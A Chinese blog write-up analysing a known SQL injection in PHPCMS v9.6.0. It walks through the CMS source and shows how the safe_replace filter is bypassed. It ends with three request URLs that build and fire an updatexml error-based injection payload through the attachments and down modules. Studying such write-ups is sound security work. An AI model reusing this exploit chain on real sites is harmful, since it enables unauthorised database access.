Fork me on GitHub

phpcms-v9.6.0sql注入漏洞分析[挖坟]

还有几天就要翘课一个礼拜去深圳和厦门被各位大佬虐菜了…由于本菜鸡的代码审计一直是弱项,所以为了能打好这场比赛,这两天便找了一些代码和漏洞分析文章来学习学习.今天玩了一下这个好几个月之前的phpcms的漏洞,在差不多搞了个大概之后写了这篇文章来记录一下这个漏洞的原理.

0x01 phpcms的路由处理方式

index.php中,可以看到调用了pc_base::create_app()方法.跟进这个方法最后调用了_load_class()函数,参数为application.

private static function _load_class($classname, $path = '', $initialize = 1) {
        static $classes = array();
        if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';

        $key = md5($path.$classname);
        if (isset($classes[$key])) {
            if (!empty($classes[$key])) {
                return $classes[$key];
            } else {
                return true;
            }
        }
        if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
            include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
            $name = $classname;
            if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
                include $my_path;
                $name = 'MY_'.$classname;
            }
            if ($initialize) {
                $classes[$key] = new $name;
            } else {
                $classes[$key] = true;
            }
            return $classes[$key];
        } else {
            return false;
        }
    }

跟进phpcms/libs/classes/application.class.php文件中

<?php
/**
 *  application.class.php PHPCMS应用程序创建类
 *
 * @copyright           (C) 2005-2010 PHPCMS
 * @license             http://www.phpcms.cn/license/
 * @lastmodify          2010-6-7
 */
class application {

    /**
     * 构造函数
     */
    public function __construct() {
        $param = pc_base::load_sys_class('param');
        define('ROUTE_M', $param->route_m());
        define('ROUTE_C', $param->route_c());
        define('ROUTE_A', $param->route_a());
        $this->init();
    }

    /**
     * 调用件事
     */
    private function init() {
        $controller = $this->load_controller();
        if (method_exists($controller, ROUTE_A)) {
            if (preg_match('/^[_]/i', ROUTE_A)) {
                exit('You are visiting the action is to protect the private action');
            } else {
                call_user_func(array($controller, ROUTE_A));
            }
        } else {
            exit('Action does not exist.');
        }
    }

    /**
     * 加载控制器
     * @param string $filename
     * @param string $m
     * @return obj
     */
    private function load_controller($filename = '', $m = '') {
        if (empty($filename)) $filename = ROUTE_C;
        if (empty($m)) $m = ROUTE_M;
        $filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
        if (file_exists($filepath)) {
            $classname = $filename;
            include $filepath;
            if ($mypath = pc_base::my_path($filepath)) {
                $classname = 'MY_'.$filename;
                include $mypath;
            }
            if(class_exists($classname)){
                return new $classname;
            }else{
                exit('Controller does not exist.');
            }
        } else {
            exit('Controller does not exist.');
        }
    }
}

可以看到构造函数中将param的route_m,route_c,route_a作为为模块名,控制器,控制器的相关函数,然后调用init函数加载这个模块的相应控制器的相应函数.跟进/phpcms/libs/classes/param.class.php文件可以得知这三个成员变量分别来自$_GET['m'],$_GET['c'],$_GET['a']中. 由此可确定phpcms的路由规则:index.php?m=module名称&c=controller名称&a=函数

0x02 注入漏洞分析

phpcms中负责过滤的一个函数safe_replace

源码如下:

function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','"',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','<',$string);
    $string = str_replace('>','>',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

可以看到这个函数是可以绕过的,只要传参%*27即可绕过过滤.

注入点

这个漏洞的注入点位于phpcms/modules/content/down.php文件中,代码如下:

public function init() {
        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        parse_str($a_k);
        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        $allow_visitor = 1;
        $MODEL = getcache('model','commons');
        $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
        $this->db->table_name = $tablename.'_data';
        $rs = $this->db->get_one(array('id'=>$id)); 
        $siteids = getcache('category_content','commons');
        $siteid = $siteids[$catid];
        $CATEGORYS = getcache('category_content_'.$siteid,'commons');

可以看到$a_k变量可控,对$a_k变量做一系列处理之后使用parse_str函数进行处理,这也是这个漏洞产生的一个重要原因.之后的几个变量都可以覆盖过去,可以看到$id变量被直接传递到了get_one函数中.跟进phpcms处理model相关的文件中/phpcms/libs/classes/db_access.class.php:

/**
 * 获取单条记录查询
 * @param $where        查询条件
 * @param $data         需要查询的字段值[例`name`,`gender`,`birthday`]
 * @param $order        排序方式    [默认按数据库默认方式排序]
 * @param $group        分组方式    [默认为空]
 * @return array/null   数据查询结果集,如果不存在,则返回空
 */
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
    if (is_array($where)) $where = $this->sqls($where);
    return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
    /**
 * 将数组转换为SQL语句
 * @param array $where 要生成的数组
 * @param string $font 连接串。
 */
final public function sqls($where, $font = ' AND ') {
    if (is_array($where)) {
        $sql = '';
        foreach ($where as $key=>$val) {
            $sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";
        }
        return $sql;
    } else {
        return $where;
    }
}

调用get_one函数,跟进文件/phpcms/libs/classes/db_mysqli.class.php

/**
 * 获取单条记录查询
 * @param $data         需要查询的字段值[例`name`,`gender`,`birthday`]
 * @param $table        数据表
 * @param $where        查询条件
 * @param $order        排序方式    [默认按数据库默认方式排序]
 * @param $group        分组方式    [默认为空]
 * @return array/null   数据查询结果集,如果不存在,则返回空
 */
public function get_one($data, $table, $where = '', $order = '', $group = '') {
    $where = $where == '' ? '' : ' WHERE '.$where;
    $order = $order == '' ? '' : ' ORDER BY '.$order;
    $group = $group == '' ? '' : ' GROUP BY '.$group;
    $limit = ' LIMIT 1';
    $field = explode( ',', $data);
    array_walk($field, array($this, 'add_special_char'));
    $data = implode(',', $field);

    $sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;
    $this->execute($sql);
    $res = $this->fetch_next();
    $this->free_result();
    return $res;
}

可以看到最终$id被直接拼接到了sql语句中.因此可以进行注入.那么怎么控制$id的值? 回到down.php文件中

public function init() {
        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        parse_str($a_k);
        if(isset($i)) $i = $id = intval($i);

可以看到这个$a_k是从$_GET['a_k']解密得来的.只要找到一个加密的点即可控制输出.

加密点

这里师傅们用的加密的点是/phpcms/modules/attachment/attachments.php文件中的函数swfupload_json.

/**
 * 设置swfupload上传的json格式cookie
 */
public function swfupload_json() {
    $arr['aid'] = intval($_GET['aid']);
    $arr['src'] = safe_replace(trim($_GET['src']));
    $arr['filename'] = urlencode(safe_replace($_GET['filename']));
    $json_str = json_encode($arr);
    $att_arr_exist = param::get_cookie('att_json');
    $att_arr_exist_tmp = explode('||', $att_arr_exist);
    if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
        return true;
    } else {
        $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
        param::set_cookie('att_json',$json_str);
        return true;            
    }
}

在这个函数中,将$_GET[‘src’]使用safe_replace()函数处理后进入$arr[‘src’]中,再对$arr进行json_encode,只要不存在att_json这样一个cookie或者$json_str不在数组中就会进入else的循环中,而跟进set_cookie函数则可发现phpcms输出的cookie值正好为加密后的cookie.因此我们便可以利用这个点来加密我们的注入语句. 然而phpcms的attachments类会进行一个用户身份的判断

function __construct() {
    pc_base::load_app_func('global');
    $this->upload_url = pc_base::load_config('system','upload_url');
    $this->upload_path = pc_base::load_config('system','upload_path');      
    $this->imgext = array('jpg','gif','png','bmp','jpeg');
    $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
    $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
    $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
    //判断是否登录
    if(empty($this->userid)){
        showmessage(L('please_login','','member'));
    }
}

这里通过判断$this->userid来测试用户是否登录,可以发现userid除了可以来自于cookie外还可以来自于$_POST[‘userid_flash’]中. 这里师傅们使用的生成这个加密后的$_POST[‘userid_flash’]的点在/phpcms/modules/wap/index.php文件中:

function __construct() {        
    $this->db = pc_base::load_model('content_model');
    $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
    param::set_cookie('siteid',$this->siteid);  
    $this->wap_site = getcache('wap_site','wap');
    $this->types = getcache('wap_type','wap');
    $this->wap = $this->wap_site[$this->siteid];
    define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
    if($this->wap['status']!=1) exit(L('wap_close_status'));
}

//展示首页
public function init() {
    $WAP = $this->wap;
    $TYPE = $this->types;
    $WAP_SETTING = string2array($WAP['setting']);
    $GLOBALS['siteid'] = $siteid = max($this->siteid,1);
    $template = $WAP_SETTING['index_template'] ? $WAP_SETTING['index_template'] : 'index';
    include template('wap', $template);
}

设置了一个siteid的cookie,可以利用这个cookie的值传入到之前的那个$_POST[‘userid_flash’]中.

0x03 注入验证

Step1 获取之前的userid

访问http://127.0.0.1/phpcms2/index.php?m=wap&c=index&a=init&siteid=1,获取cookie中的siteid值. 图片1

Step2 获取加密后的sql语句

访问http://127.0.0.1/phpcms2/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3d%25*27+and+updatexml(1,concat(0x7e,database()),0x7e)%23%26m%3d1%26f%3dhaha%26modelid%3d2%26catid%3d7%26&,获取cookie中att_json值. 图片2

Step3 执行注入

访问http://127.0.0.1/phpcms2/index.php?m=content&c=down&a=init&a_k=加密后的字符串,即可验证. 图片3

0x04 参考文件

0x05 题外话

比赛求各位大佬们轻虐!